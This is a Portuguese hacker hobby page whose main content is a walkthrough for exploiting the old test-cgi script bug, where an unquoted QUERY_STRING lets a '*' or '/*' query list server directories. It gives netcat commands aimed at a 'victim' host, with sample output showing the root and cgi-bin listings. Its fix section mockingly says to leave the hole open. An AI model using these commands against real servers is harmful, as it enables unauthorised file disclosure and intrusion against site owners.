MeGa HaCkER

Programar em CGI
Home
Tutoriais
Downloads
Mercado online
Livro de Visitas
Invadindo pela Porta 666
Invasão por IP
Tomando Os Primeiros Passos
Algumas Outras Necessidades
Conseguindo Ajuda
Contatos do ICQ
Comandos Java
Hackers Famosos
Hackerismo & Segurança
Tipos de Hackers
Sistemas
Identificando o Invasor
Contas Grátis
Hackando BBS
Rede Dial-up
Disk Bomba
Ligando Grátis
Senhas de sites
Telnet
Programar em CGI
Senhas
Hack PC
Proteja PC
Contate Me
O que é um Hacker
Como me Transformar em um Hacker


| Programa efetado:

Test-cgi's scripts encontrado em varios web servers.

| Consequencias:

Qualquer um pode olhar os arquivos da maquina

| How about:

Em muitos web sites existem arquivos chamados de test-cgi quase sempre no diretorio
cgi-bin ou algum lugar similar ). Existe um problema com muitos destes arquivos test-cgi.
Se seu arquivo test-cgi contem a chamada linha ( verbatim ) entao voce provavelmete
esta vulneravel ao bug.

echo QUERY_STRING = $QUERY_STRING

Todas essas linhas possivelmente tem as variaveis abertas ou perdidas sem aspas (").
Sem essas aspas alguns caracteres especiais ( especificadamente o '*') sao expandidos
onde eles nao poderiam. Enviando entao um query de '*' vai voltar as informacoes do
diretorio corrente ( provavelmente onde todos os arquivos do vgi estao... lah no jj
e no phf. Bom, o que sao esses outro cgi's que eu nunca vi...? e que furo que tem
nele? Mandando um query do '/*' vai listar o diretorio do root! ;)


Isso e' o mesmo que faz o `echo *` quando vc dah o ls

Este e' o meio mais facil de lista diretorio e ate dar um cat neles via a string do
query. Quase sempre e' possivel de fazer a mesma coisa atraves de muitas outras
variaveis ( ie $REMOTE_HOST, $REMOTE_USER, etc.) e' claro que em certas situacoes.


| Como arrumar:


Pq arrumar? ;) deixa assim cumpadi!


| Vamos x-ploitar...

Bom vamos fazer um teste... mas pra isso temos que sempre procurar o telnet na
porta 80 do provedor que sera a vitima.

machine% echo "GET /cgi-bin/test-cgi?/*" | nc vitima.lamah.com 80

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = vitima.lamah.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

|Ou pra ver o que outros cgi's per ai...|

machine% echo "GET /cgi-bin/test-cgi?*" | nc vitima.lamah.com 80

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH

caveira26.gif